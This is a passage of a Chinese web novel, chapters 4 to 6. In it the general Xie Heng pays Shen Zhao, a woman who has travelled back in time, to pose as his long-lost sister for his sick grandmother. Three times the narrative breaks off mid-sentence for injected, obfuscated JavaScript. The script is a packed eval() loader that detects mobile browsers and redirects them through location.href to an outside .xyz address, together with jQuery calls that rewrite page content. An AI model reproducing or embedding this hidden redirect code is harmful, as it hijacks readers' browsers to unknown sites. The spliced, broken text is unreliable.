“珩儿,我听下人提起,你这几日去寻你妹妹了,可有消息?”老夫人躺在床上,声音断断续续,仿佛用尽所有力气。 生死关前走一遭,既放下许多,然放不下的事便更萦绕心间。 谢珩的妹妹谢怀瑾在五岁那年,同家人走失,此后音讯全无,他自任金吾卫后,多年一直寻找未果,因着年份久远,相貌大不相同,走失地附近的村民逐渐搬离,唯一的线索便是牛家村,但他们赶到时已人去楼空。 刚刚母亲同他提起妹妹,他竟心生妄念,幼时宁愿挨板子亦不愿扯谎的他,第一次敢作匪夷念想,实非君子所为。 他无奈浅笑,他竟如此荒唐了。 但依大夫所言,祖母的病耽误不得,自晋国公早逝、妹妹走失,整个晋国公府如一汪死水,一点点被消耗殆尽。 他大可以慢慢寻,但祖母等不起。 李立雯绞着帕子,见谢珩不语,主动道:“阿姑,您且宽怀,怀瑾她——” “祖母、母亲,已经找到怀瑾了。”谢珩沉稳答复,却不敢直视她们二人。 李立雯喜极而泣,只当谢珩办事妥当,上前靠近床榻:“阿姑,怀瑾找到了,太好了。” 老夫人眸中泪光灼灼,两人齐看向谢珩,满怀期待:“既找到你妹妹,为何还不带回家中?” 窗外闪过一抹黑影,谢珩知杨方回来了。 他派杨方去左衙寻刚才的女子,但衙内众人只道:“身体有恙,去寻大夫了。”等了许久,见人未归,心中了然便先回来复命。 - “祖母先好生休养,各种缘由和细节,我还需向她确认。”谢珩暂别母亲和祖母,来到外间。 杨方跪下:“将军,人...跑了。” 谢珩眉峰皱聚如刃,负手而立,长袖垂落,掩住因用力而泛白的指节,将喉间哽着的半句“胡闹”咽下,反化作一声自嘲的冷笑:“看守之人罚绕城十圈,你去礼安坊将人带回来!” 4. 第 4 章 沈昭拖着沉重的步子往家的方向走,精神紧绷时不觉疲乏,反而此刻放松下来,身上愈发酸软无力。 虽不情愿,但在这偌大的长安城,只有此处是她唯一栖身之所。 原主严元清家住礼安坊,于长安城东南角,一家五口居住,略显拥挤,自原主的哥哥和弟弟服徭役后,爹娘撂了礼安坊的营生,只巴巴盼着她早日同御风成亲,指望着她的聘礼。 严家亦不是个好去处,家务事乱得难理出个头绪,但她孑然一身,没有他法。 城内除了宫城、金吾卫值守地、几个小摊贩和更夫手中的点点光亮,家家户户都已歇下。 月色凉薄,孤守天穹。 沈昭在门口石砖下摸索许久,终于寻到铜锁,她试着转动打开家门。 高低起伏的鼾声在夜中响彻不绝,她透过纸窗向内望去,原主的父母睡得酣然,沈昭猫着身子,蹑手蹑脚走向厨房。 灶台上只余几只空碗,炉灶内积着小丘般的灰烬,柴草杂乱堆砌于角落中,倒比夜色更凉。 沈昭揭开锅盖,偌大的一口锅只留着一点薄粥,她拿起一旁铁勺舀出一勺,米粒零星稀疏,更像米汤,冷得不带半分温度。 她空空如也的胃,委屈地低呜几声。 她轻手轻脚盖好锅盖,转身回了自己屋子,严元清在床下木匣中存了一些银钱,回家的途中,她曾见到过几个掌灯的摊贩。 虽然她尽量压低声音,但老房子生了锈,“吱---”推门声压过鼾声,鼾声戛然而止,她猛地停住,动也不敢动,只留黑白分明的眼眸来回转动,静默片刻后,侧耳倾听隔间熟睡之人并未起身,终是踏进自己屋内。 怕再一次闹出动静,她没敢再去碰门。 屋内一眼可览遍,只一个木橱,两只矮凳,其一缺了条腿,歪歪扭扭地侧躺在地,床上铺着一席被子,被面上的花色被洗得发白。 沈昭视线扫到床下,存着银钱的木匣贴墙在最里侧,她趴着身子半钻进去,伸手去捞,扬起的尘土不由得令她打了个喷嚏,她把木匣取出,抱着擦擦上面的灰尘。 这木匣仿若俄罗斯套娃般,打开之后还一个铜匣,铜匣之内又层层嵌套,翻开约莫三个匣子后,沈昭才看清其中放着一个银锭,几串铜钱,还有些簪子首饰。 沈昭取出一串铜钱,刚欲恢复原状,门砰地一声被打开,严父披着一件麻布衣,一手扯开她,拎着她的衣襟:“你这臭丫头,还知道回家,你一日不嫁人,一天都算我的种,这么晚才回家死哪去了,我看你的魂都让那混小子勾跑了!” 他目光瞥到沈昭手里抱着的匣子,一把夺过:“好啊你,还知道藏钱了,给我拿过来。” 沈昭能拖着身子走回家实属不易,被他如此一吓,争抢时踉跄几步险些摔倒。 严母披着衣服急忙赶来:“大晚上的,别吵了,把街坊四邻吵起来,还嫌笑话不大么。” 严元清既然将这些银钱藏得隐秘,只怕这是她唯一傍身的银钱了,沈昭盯着那黝黑臂弯里的木匣,作势要抢,却被严母先一步阻在中间:“哟,怎么这么狼狈,你去哪了?”她抬头向外望去,院中空无一人,“御风那孩子怎么没跟你一起?” “还能怎么,肯定跑了呗,真当你女儿是仙儿了,也不撒泡尿照照镜子,看她这德行,肯定是吹了,那逼崽子脑子缺根筋,放着好好的暗卫不干,当个破巡城值守的,攒的那点钱够当聘礼不.....”她爹的嘴叭叭不停,污言秽词一个个倒豆子似的往外蹦。 “他死了,死者为大,能不能闭上你的嘴。”沈昭虽顶着原主的脸,可同他无半分关系,本不想起冲突,但原主和未婚夫双亡,还要受他满口诋毁,沈昭不吐不快。 似是没料到一向温顺的闺女会有如此反应,又听闻突如其来的死讯,严父严母突然愣神,隔壁传来咒骂声:“哪个孙子大晚上不睡觉,欠你爷爷骂了。” 严父的怒气被压下去大半,待看见眼前糟心闺女后,张嘴又要骂,却被严母推至门外:“好了好了,我来问问,别吵了。” - 老夫人歇下后,李立雯满脸关切,问向谢珩:“你妹妹如今她,可还好?这几年在外受苦了,为何还不带她回家呢?” 谢珩:“母亲早些休息吧,等明日她回府后,您可亲自问她,儿还有公事未毕,恐先行告退。”拱手躬身一礼后拜别李立雯。 李立雯知他一向勤恳,又安排厨房炖了羹汤给谢珩送去。 书房外,青竹疏影横斜,竹叶随风而落,浮于池水之上,池水清澈见底,可池中鱼听闻院中动静,摆摆尾藏于荷叶之下,探头探脑地向上张望。 依谢珩外派寻牛家村女子的人回禀,那名牛家村的女子,名唤夏目,她拿着路引最后出现在定州,定州交通便利,向南行水路可至江南,北、东方向陆路发达。 据最快脚程估算,她从长安至定州,出发时间恰巧是他下值后,越是巧合便越透着古怪。 谢珩让人继续沿着此线索追查,且不论夏目是否真是他亲妹妹,现在她下落不明,哪怕即刻寻到也不能明日将其带回。 来人领命退下,继续寻找夏目踪迹。 谢珩径自取了鱼食,腕骨一翻,饵食簌簌落入水中,漾起浅浅涟漪,像是有人往墨玉盘里撒了把星子。 隐于叶下的小鱼见了饵食,先怯怯凑近,以吻触之,又倏地退开,尾稽轻摇,用嘴嘬喁。 唯有一条鱼儿,半边鱼尾露在石头外,目光呆滞地浮于池中,任它头上撒了一片饵料亦无动于衷。 谢珩的目光落在它身上,半晌,忽而一笑,将手中饵料尽数扬在池中,原是让一条瞌睡小鱼骗了几许。 - 灶台上热气腾腾,四散的米香勾得沈昭眼盯着锅盖,喉头不自觉滚了滚,粥香混着迷之甜润,裹着莲子的清苦,丝丝缕缕钻入鼻,她悄悄咽了咽唾沫,舌尖抵着上颚,仿佛尝到米粒熬化了的绵软。 沈昭瞥见一旁憔悴的严母,强忍着困意,愁眉紧锁,张口欲问御风的事,又怕惹自家姑娘难过,默了默开口:“你方才说御风死了,可是气你父亲的胡话?” 御风的死有蹊跷,金吾卫尚不分明,沈昭更解释不清,她此刻只知若是再不吃口热饭,只怕也要随他们小两口而去了。 卧房中,鼾声又起,沈昭扶严母起身:“娘,今儿你先歇着吧,明日还要早起,待我吃完后,余下的琐碎活儿交给我便是,御风的事我所知甚浅,明日我再同你细说。” 沈昭送她回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571558|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房后,飞似地跑向厨房,一手握着铁勺,一手揭开锅盖,她用力舀了满满一大勺,雪糯的汤粥将倾未倾,莲子半沉半浮,热气呵得她指尖微湿。 恰此时,几道人影踏着月色闯入,墙上映着锋利的铁甲铜身,惊得她手里那勺粥晃了晃,终究没能落入青瓷碗中。 “姑娘,我们将军请你一叙。”身后谢珩亲卫,杨方的声音响起。 由不得沈昭反应,他们一行三人便夺了她手中物件,带她翻墙而走。 沈昭如提线木偶般,完全没了脾气,任由他们挟着飞檐走壁,她累了,穿越前后她只想吃顿饭,怎的这么难! 谢珩早已恭候多时,金吾卫夜间轮值,今日谢珩本该休息,但哪怕他不在值时,睡前会去几个机要处巡视一番,此刻他正站在一树下,长身玉立,清贵难言,树边有一石桌,石桌上刻着棋盘,周围附几方石凳。 “将军,人带来了。”杨方携两名金吾卫将沈昭带至她面前,但沈昭低垂螓首,如一尊失了魂的瓷偶,连正眼都懒得看他一眼,只盯着自己干瘪的腹部。 真像那只藏在石后的瞌睡鱼。 谢珩视线扫过她,疑惑地望向杨方。 杨方无奈耸肩,亦不知哪里出了差错,男女有别,他只抬起手隔空在沈昭面前晃晃:“姑娘,姑娘?” 沈昭仍未作回应。 谢珩上前几步,躬身行了一礼,杨方等人不由得倒吸一口凉气,退后几步,静默候在一旁。 谢珩缓缓开口:“今日叨扰姑娘在先,是在下不对,先向姑娘道歉,夜深相邀,实属有事相求,因舍妹年幼走失,家中祖母念此劳心伤神,近年病情愈重,遍寻未果,姑娘玉雪聪颖,特有一不情之请,还请姑娘暂时假扮作舍妹,待祖母身体康健,定有重金酬谢,姑娘若入了晋国公府,一应吃穿用度皆无须烦恼,另,我会按月支付酬劳,不知姑娘意下如何?” 沈昭久久未应。 杨方等人抬眼瞄了一下谢珩,很快又收回视线。 谢珩不觉地颤了颤手指:“御风一事,哪怕不念及他是金吾卫,我亦有查明真相之责,定会给姑娘一个交代,还望姑娘节哀,我所请之事,还望姑娘考量,不知明日可否给我答复?” 沈昭头低更甚。 谢珩强行扯平唇角,修长手指自怀中徐徐探出,一枚雪亮官银便“铮”地落在石桌上,滚了半圈,映着月色泛起冷光:“若姑娘对在下所提之事有意,这可作为今日叨扰姑娘的赔礼。” 沈昭眼睫颤了颤,但终未抬头。 谢珩唇角上扬一个微不可察的弧度,第二枚银锭紧跟着叠上,与之前那枚轻轻相撞,发出沉甸甸的闷响,他手指不停,第三枚、第四枚接连跟上,不多时垒起座小小银山。 每添一锭,他凤眸便轻掠过她眉眼一分,似在数她睫羽轻颤的次数。 银锭边缘还沾着库房新启时的朱砂印,在月下艳如血痕。 他忽将掌心最后一锭银轻轻推至她视线所及,这次却用指尖按住未松:“这些...可够姑娘抬眸一观?” 眼前的“瞌睡鱼”终于动了动,她试探性地伸出手,将银山揽入自己怀中,眼眸亮若寒星,带三分狡黠,但脱出口的话却可怜兮兮:“能让我先吃口饭么?” 5. 第 5 章 眼前的小银山固然诱人,但填饱肚子才是当务之急。 至于谢珩所提假扮他舍妹一事,傻子才会拒绝,靠自己本事挣钱有何错,她不偷不抢,骗骗人罢了。 何况她既不骗财又不骗色,只是因着谢珩孝悌之心,还是一桩好事呢! 她的肚子配合地低鸣几声,心里还念着那差点到嘴的米粥。 城内几间酒楼如此时辰已然打烊,晋国公府的小厨房倒是未歇,但此刻带回府不妥。 还未等谢珩行动,一缕鲜香自远处飘来,香气愈发浓郁,像无形钩子,勾得众人不由得咽了咽口水,沈昭循香而往,还不忘招招手提醒:“别忘了拿桌上银锭。” 见谢珩提步跟上,杨方将银锭拢起,疾步追上。 长安街角处,一盏昏黄风灯煌煌亮着,一老叟挑着面担正颤颤悠悠走着,担子两端各挂一竹筐,见暗处走来几人,为首的女子虽然衣衫略显脏乱,但眼眸熠熠无半分惊惧,身后紧随的男子气度不凡,更有两名金吾卫随后,老叟匆匆放下担子,这等贵人自是不会为一碗面而来,但他一向本分岂会招惹官家,他摸不清缘由,僵立在原地,试探道:“各位贵人,可...可要用碗面?” 沈昭点头如捣蒜:“老人家,麻烦来两大碗面,加肠加蛋,多麻多辣。”说完后,她才记起身后几人,转身问道,“你们饿不饿,要不要来一碗?” 谢珩站在三尺之外,沉默避开,意为婉拒,君子不时不食,他自小家教礼法颇严,除非公务和要事,非正时不食,行走不食,与长辈同桌,长辈不动,小辈不取,他宁饮一碗白水充饥,断不肯俯就于路边摊肆。 杨方一等本就是执行任务,谢珩不语,他们自然不敢妄动,退守至一旁。 沈昭见他们岿然不动,撇撇嘴,笑对老叟:“先两碗吧,不够再加。” “好嘞,小娘子。”老叟掀开锅盖,白雾“呼”得一下腾起,新麦揉就得银丝面,根根分明,混着葱白姜黄的馥郁鲜香,夹杂着几星猪油荤香。 他手持长筷,熟练地挑起几缕,放入碗中,满满当当盛了两大碗,老叟微皱着眉头,他尚未明白这小娘子后面两句话:“小娘子,老头这方寸面摊简陋,不知加肠加蛋是何物?” 沈昭迫不及待地双手捧过一碗,斯溜——喝了一大碗面汤:“就是有没有作料之类,麻油、辣椒。” “有有。”老叟从另一竹筐中,取了几个瓷瓶,怕污了贵人的手,拿干净布子仔细擦过后,递给沈昭。 沈昭没这么多讲究,笑着接下,搅拌均匀后,四下回望,择了一个石阶,席地而坐,手肘撑在膝上借力,吃得可香。 谢珩不欲窥探,但周围静谧,唯有她吸溜面条的声音回响,他不禁摇摇头,这幅礼仪做派,怎可能是官家小姐,他暗隐地庆幸又不幸,他舍妹幼年走失,久居在外,虽然疏忽礼教,倒也不至如此。 杨方等人见她吃得这么香,亦觉得饥肠辘辘,但只忍耐着滚了滚喉结。 如此四人立在一旁,守着一老叟和一姑娘,倒让人看不出个究竟。 偶有巡守的金吾卫路经此地,见到同僚本想上前招呼几句,但很快认出一旁的谢珩,又敛了笑容,小步退后见礼:“将军。”低垂的头瞥到一旁沉浸吃饭的女子,又不敢多言。 谢珩只又走远几步:“此处无事,继续巡视吧。” 沈昭三大碗面下肚,浑身说不出的熨帖和满足,她轻揉着腹部从地上直起身子,往自己身上一探,才想起身上并没有银钱,她毕竟还未正经答应谢珩,那座小银山还不完全属于她。 得了谢珩示意,杨方捏出几粒碎银结了账:“老人家,不用找了,早点回家吧。” “谢过几位贵人。”老叟笑纹里堆着暖意,接过银子挑起面担转身走了。 谢珩走近几步,又保持着恰当的距离:“既已吃饱喝足,还请姑娘今夜细思我所请之事,明早下朝后,我会亲自来迎。” “那你几点下朝...你什么时辰下朝呢?” “辰时。” 沈昭记得子时是23:00-1:00,正掰着手指往后推算,辰时便是7:00-9:00之间,但七点和九点差别可大了,她本还想问,但这几人干守着她吃面,已经很不好意思了,万一谈不成,她可惹不起这些权贵,便没再多问。 谢珩见她秀眉微蹙,补充道:“我还需处理宫中婢女溺亡一事,最迟巳正会到你家。” 巳正?触及知识盲区了,但比九点晚就够了。 金吾卫送沈昭回家,谢珩目送那抹素影渐行渐远,夜巡值守时,他亦听人提过御风未过门的妻子,温婉淑慧,而这四个字用在方才连进三碗的豪态女子身上,不说毫不沾边,简直截然相反,甚至她口中所言只字片语,闻所未闻,言语表达有刻意雕琢痕迹。 待他们转过街角,谢珩示意杨方去查:“去问问金吾卫中同御风交好之人,查查他的未婚妻。” “是。”杨方领命,但心中仍有疑,方才在左衙时,分明已派人查过一次她近日往来。 谢珩:“重点查她的脾性和喜好。” 杨方:“是,将军。” - 沈昭躺在床上辗转反侧,明明困意难忍又怕眼前一切只是一场梦,等她再次醒来便回到了末日,她强撑眼皮,每一次轻微翻身,身下每根篾条发出不堪重负的呻吟,是此刻唯一陪伴。 窗外漏进的一痕月色被浓云遮盖,屋内陷入一片死寂,耳边顿觉一阵嗡鸣,眼前闪回那些脖颈以诡异角度斜折,森森白骨裸露在外,身上溃烂腐臭,獠牙外突的腐尸,前赴后继向她奔来。 她瑟缩着从床上爬起,胸口仿佛堵了一团乱絮,憋闷得喘不过气,她伸手去寻蜡烛,却只摸到一个缺口陶碟盛着浑浊的麻子油,麻子油沾了满手油脂,顾不得擦手,逃也似的推开房门,抱着单薄的衾被靠在墙下。 浓云渐渐散开,月色皎皎,沈昭大口喘着气,仰首望着天,一夜无眠。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571559|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >天微亮,隔壁传来几句咒骂声,沈昭再躲已来不及,索性闭上眼装睡,他爹昨夜抢过钱匣子,一大早自顾自地出门买酒喝,念着心情好,看见靠在墙边的沈昭只轻嗤一声,甩手出了门。 沈昭微眯着眼,等他走后,抱着衾被转身回屋时,身后传来一声呜咽:“孩儿,你昨日所说是为了故意气你爹的对不对?御风这孩子长得壮实,又会功夫,怎么可能.....” “是真的,娘。”沈昭背对着她,不得不承认这个事实。甚至他们的女儿昨日也香消玉殒了。 一声闷响,严母终是承受不起,跪坐在地上,捂脸痛哭:“你这孩子的命怎么这么苦,之前碍于他的身份,每每问你,你都闭口不言,后来好不容易盼着他来求娶你,怎的安生日子没过两天,好端端的人便没了,他撒手人寰,拖了你半生,这可算什么事啊。” 沈昭放下被子,搀扶严母起身:“娘,人既然去了,就让他安息吧,”她脑海中记忆承袭原主一生,他们两人情投意合,彼此爱慕,原主在死前的最后一刻还念着御风,“女儿并不觉得他耽误了自己,只是世事无常罢了。” 严母抹了把眼泪:“怪我和你爹,没替你攒下多少银钱,你爹本也是个务实的,只是伸手来钱的日子惯了,心就浮了。” 御风每月都会给原主一份银钱,严元清将其添补家用,却每每被他爹拿去吹嘘挥霍,所剩无几,她自己攒下的银钱全藏在床下的木匣里。 似是想到什么,严母突然拉住她的手:“孩子,别学那些痴儿,生死有命,爹娘虽无大能耐,但幸好我儿生得这般容貌,若施以粉黛,不比那些官家小姐差,你又守得这清白身子,定能寻个踏实人家,总归是有依靠的。” 沈昭不禁喟叹,这催婚是在哪朝哪代都躲不过去,怏怏笑道:“娘,御风的死因还没彻查清楚,女儿现下无意谈此事。” 沈昭刚至此地,还没摸清来由,可不想草草把自己嫁了,只好借御风推脱,但她娘却曲解了她的意思,生怕闺女钻了牛角尖,她年芳二八,乡里乡亲不少同年岁的女子都当了母亲。 严母脸上的泪痕半干:“这可不行,女子如花,盛时有限,可不能认死理。” 沈昭见劝说无益,只敷衍地点点头:“好好好,娘,那我们择日再议如何,现在是什么时辰了?” 严母看了眼院中漏壶:“大概辰时,隔壁街坊王家小儿子——” “娘,我昨夜没睡好,先睡会。”沈昭打着哈欠,约定的时辰未到,不如先补个眠,及时打断她娘的话。 她往日手脚麻利,天不亮便起来生火做饭,如今种种作法一反常态,日上三竿,竟闹着要睡觉,严母只当她承受不住悲痛,一蹶不振,心中烦忧:“你若如此消沉,赖在家中,男人会从天上掉下来么?” 母女俩在卧房聊着体己话,杨方敲门许久未应,见门大开着,先一步踏进院内,尴尬地打断她们:“大娘,奉我家将军之命,请令嫒一见,不知可否叨扰片刻。” 6. 第 6 章 严母抬头望见杨方,眼眸霎时间亮了起来,之前那短命女婿虽性子沉稳,但一瞧模样便是劳苦命,又因身份特殊,万一以往招惹的仇家寻仇,她本心不愿闺女嫁她,但到底他待自家闺女好,舍得出银子,便默许了。 可眼前这人,不着锦衣华服亦有几分气度,富贵人家的亲卫终究不同,但他口中的将军是何人? 她闺女从昨儿到今,行为出挑,举止反常,莫不是惹了官爷?他们布衣百姓可得罪不起。 “娘,我去去就来。”沈昭没料到他们竟提前来了,理理衣襟,尽量保持得体。 昨夜她本想沐洗,但水缸里的水见了底,她不会烧火,夜深若再折腾难免不便,本想今早收拾一番,耽误着就到了时辰。 谢珩今晨下朝后,去掖庭局查探过,但那名婢女以失足落水而定,尸体已处置完,线索皆无,是以他便在约定时辰之前赶到此。 另一方,仵作还未给出御风的验尸结果,虽然他可暂时保住御风的尸体,但案件茫无端绪,唯一牵扯其中便是当夜换值的惊云,但既无证据,哪怕是他,无凭无据又岂会轻易承认。 案子仍在继续调查,但他答应祖母今日带人回府,亦不能耽搁。 严母脚步紧随沈昭,伸长脖子往外探。 谢珩站于门前,一袭靛青圆领袍,头戴幞头,露出鬓角,明明如此考究五官的衣着样式,却被他那张矜贵出挑的脸硬硬撑起,腰间玉珩被风吹起,与蹀躞带金钩相撞,发出脆响,真像画中仙走了墨,偏生三分活气。 仅他等候的片刻,便有几个胆大的小娘子上前搭话。凡皇宫贵族出行,百姓皆避行,严母从未近距离瞧过,一时挪不开眼。 觉察到她的视线,谢珩越过沈昭,走到她娘面前,执礼道:“晚辈谢珩,唐突拜谒,本不当搅扰夫人清净,请夫人允准,恳请三刻之暇,与令嫒有一事相商。” 她娘一时语噎,慌得用衣袖抹条凳,粗布袖口勾着桌角拉出一道线头:“大人快请坐...屋里简陋。”她嗓子发紧,手指在围裙中搓了又搓。 谢珩谢过她,并未落座,不是嫌弃瘸腿矮凳,所议之事虽不是机密,但涉及家私,牵扯之人自然越少越好。 他视线掠过院中几间屋子,平常人家没有书房,唯有厨舍门户打开,多开了两扇窗,他此行只带杨方一人,留他守在门口。 谢珩看向厨房:“可否借厨舍一用。” “请,请。”她娘让开路,很知趣说,“你们谈,我去打几桶水。” - 夜里起风,窗柩上难免落了些尘土,谢珩先一步踏进厨舍,持佩剑抵着窗格,推开窗户,迎面四散的尘土不由得令沈昭打了个喷嚏。 她心生疑窦,谈私事特意开窗,如此光明正大,不怕隔间有耳么?但条件还没谈拢,她暂时还不能得罪金主,只由着他去。 谢家礼教严苛,谢珩虽平日相交之人中没有女子,但仍知男女有别,哪怕沈昭是他亲妹,亦不能独处一室,事出有因,开窗避嫌合乎情理。 “不知姑娘这一夜可考虑清楚了?”谢珩望向窗外,视线偏也不偏。 “可以,但我还有一事作为交换。”沈昭答得痛快。 总归她流落在此,早晚落得个被逼嫁人的下场,还不如假扮他妹妹先拖一时,既能挣些银钱又可以再寻退路,否则她在此洗个热水澡都麻烦。 她虽然没那么多心眼宫斗、宅斗,但骗骗几个人应该好说,最起码...她扭头看了看站在一旁风清霁月的谢珩,还有个兜底的帅哥哥,这买卖稳赚不赔! 不知是不是她腐尸见得多了,总觉得谢珩越看越顺眼。 食色性也,古人诚不欺她。 她不由得多看了几眼,直到谢珩轻咳几声,才眼观鼻鼻观心地收回视线。 谢珩:“你需要何事作为交换,只要不涉及道德伦理、律法界限,凡我所能皆可答应。” - “哎哟,严家大姐,这么满面春风,又遇到什么喜事了,别藏在心里,给姐几个说说呀。” 严母哼着调子,摇着水井旁的辘轱,眼眸笑眯成一线,上扬的嘴角一直没掉下来。 “她家二闺女下月出嫁你都不知道,据说是个练家子,可舍得出钱,要不你看她老头一早又喊着我家那口子卖酒去了。” “那是你没瞧见,今早上站在他家门口那男人,严家姐姐,你口风够严啊,何时搭上这种显贵,让我们跟着沾沾光嘛~” 今晨路过几个街坊曾见过谢珩在外等候。 “你闺女好福气啊,我瞧着这个好,那通身的气派常人可不比不了,据说崔家那小女儿壮着胆子上前搭话,直接被人冷冷拒了,臊得躲屋里都不出来了,若是能去富贵人家当个妾室,你这一辈子可不愁了!” 严母满面春风,心里乐开了花,严元清是十里坊间生得最美的小女子,若不是早被那毛小子订下,她岂会拖到现在还未嫁人。 早知有贵客登门,她肯定好好梳洗一番,难怪御风死了,自家孩子却不挂怀,敢情找好了下家,谁人不盼自家孩子有个好归处。 她心中浮想联翩,但尚未订下,一切皆有变数,话只说了三分:“可别折煞我们了,不过是公事罢了,我们哪攀得上人家!” 旁人只当热闹看,互相打趣,一行几名妇人说说笑笑,各回各家。 - 依谢珩所言,只要不逾矩,凡他所能,皆有所应。 沈昭眸子亮了亮:“可当真?” 谢珩:“不知姑娘所需为何,愿闻其详。” 自沈昭见他起,他端方雅正,克己复礼,有意无意都在避嫌,虽然知晓古代礼法森严,但未设身处地,很难体会这琐事中的些微差别。 她第一次见活的古人,难免不觉得有趣,谢珩眉宇间虽凝着几丝煞气,初见活像个玉面修罗,然脱下甲胄,自有几许翩翩公子风流骨,可避嫌过甚,倒更带了几分纯澈的书生气,让人忍不住逗他一逗。 沈昭忽地抬脚,大跨一步跃到他身边,踩碎满地细柴,径直逼到他跟前:“我对公子一见倾心,若事成之后,公子尚未娶亲,不如考虑考虑我。” 莹莹明眸映着谢珩陡然绷紧的下颌,他浑身一僵,连退数步,后腰“砰”地撞上灶台,右手本能地按上剑柄,差点拔剑出鞘。 “姑娘慎言!”他声音都变了几许,剑穗在空中乱摆,耳根染上一片薄红。 这一幕恰巧被刚从外回来的严母看到,掩唇笑得更甚了,杨方并未拦他,毕竟她回自家,何况谢珩交代有意让她家中知晓一二,她半捂着眼:“我再出去转转,不打扰你们。” 此话一出更有理说不清了。 沈昭没料到他脸皮如此薄,意识到自己行为不当,赶紧拉开身距,退至厨舍外,目光垂落在他紧握刀剑的手上:“抱歉了,大人莫急,我不知你如此经不得吓,开个玩笑,开个玩笑罢了。” 沈昭看着他骨节泛白的手慢慢松了,才渐渐舒了口气。 谢珩只觉这小屋憋闷得紧,错开她走至院落一旁,语气冷冷:“哪怕你我并非兄妹,也不得说如此孟浪的话,有失礼法,你若无事,那就这么定了——” “等等,我确有正事。” 原主有两个兄长,前年河工吃紧,朝廷征役,他长兄上山摔断了腿,留下残疾,本该由他爹和二哥去,但他爹和里正相熟,因着血亲关系,死皮赖脸由她两个兄长去了。 这个家若由她爹继续胡作非为,只怕她娘最后也落不得半分好处,她将所知征役经过尽数告诉谢珩:“我只有一事相求,能不能把我长兄和我爹换回来,此事本就不合乎律法,我这应该不算破例吧。” 反正父次子孝,既然当爹的人性次,可莫怪她这个闺女。 征役一事,疏忽和顶替之事常有发生,前些年朝廷管得严,但近年朝廷扩大人数,由原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571560|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来三丁抽一、五丁抽二改为三丁抽二,五丁抽三,只要人头数齐了,即交差了,并不细查。 但律法无论如何改动,像他长兄如此残疾之人确实可免役。 谢珩将还在门口值守的杨方遣去调查:“若真如你所言,我会将你长兄和父亲换回。” 沈昭打断:“等等。” 谢珩:“又有何事?” 沈昭:“我还需同我娘商议一下,征得她同意才能换。”保不齐原主亲娘万一不愿意,那她可不敢瞎出主意,毕竟日子由他们过。 谢珩恢复如常,可对她刚刚那一番逾矩的话仍心有余悸:“此事,我不欲让更多人知晓,所以还需你母亲配合,我们事前约法三章,其一:一旦踏进晋国公府你就要谨记自己身份,你我兄妹有别,不可僭越,言语嬉笑也不可,此是底线,若你办不到,那今日之事需另议。” 本就是玩笑话,见他如此严肃,沈昭跟着板起脸,一双杏眼微微敛起,平添几分肃然,退后半步,学着杨方的口吻:“大人说的是,属下一定听命办事。”可她眉梢却藏不住一丝俏皮,抬眸只见谢珩无奈摇头。 谢珩继续道:“这其二,我同祖母和母亲提过,今日会带你回府,之前答应你的酬劳我不会食言,若你能令祖母病情好转,不再劳心忧神,我另有重谢,但能否过得了她们这一关便看你自己了。” 沈昭心道不妙,原来他亦没有十足的把握,这话里话外,算是给她设置了一关,能否相认全看自己本身,那万一她露了马脚,冒认皇亲国戚,在这儿岂不是砍头的大罪。 人不可貌相,这小子是个黑心莲! 假冒一事本就牵涉众多,若只有几分小聪明,但没有实际胆量,亦是徒劳,见她犹疑,谢珩说:“舍妹五岁自夷陵走失,她身上无明显胎记,何况人事境迁,相貌改变倒也寻常....” “小事,看我的吧!” 沈昭拍拍胸膛,事已至此,见招拆招呗,“那其三是什么?” 谢珩:“这其三便是你假扮的这些时日,必须同你爹娘暂断关系,杜绝往来,我知这可能会令你为难,但为了保险起见——” “没问题。”沈昭毫不犹豫地应下,即便谢珩不提,她也不想回来,职业道德在呢,何况她可不想回家见那个强盗爹,她娘有她兄长照顾足矣,本就是陌路人,没得多大感情。 似是没料到她答应得如此痛快,谢珩顿了一息,很快又心下了然,倒更契合了他的猜想:“既然你已经应下,若你能取信于我的祖母,昨日那五百两便是定银,每月我会另付你二十两作为酬劳,一直待我寻回亲妹或我祖母康健,你看如何?” 沈昭虽摸不准银钱置换规则,但他豪门大户总不差钱,点头应下,她应谢珩要求,寻了纸笔写下契书。 普通百姓家若无意参与科举,纸笔仍算稀罕物,严母不在家,沈昭翻箱倒柜许久,才找到一支勉强称之为笔的物件:短竹竿的一头蓄着不知是何动物的毛,上面沾的磨坚硬笔直,很难洗净,将就着水缸里的水简单清洗一番,勉强能用。 待谢珩提笔时,沈昭不自觉地靠过去,瞄着他的笔尖,笔尖却迟迟不落,她侧首看他的侧颜,觉察到他一丝不快,堪堪退了几步。 她也没有离得很近,莫不是他有什么隐疾,不愿同人亲近? 但念在他们约法三章在先,多注意些总归是好。 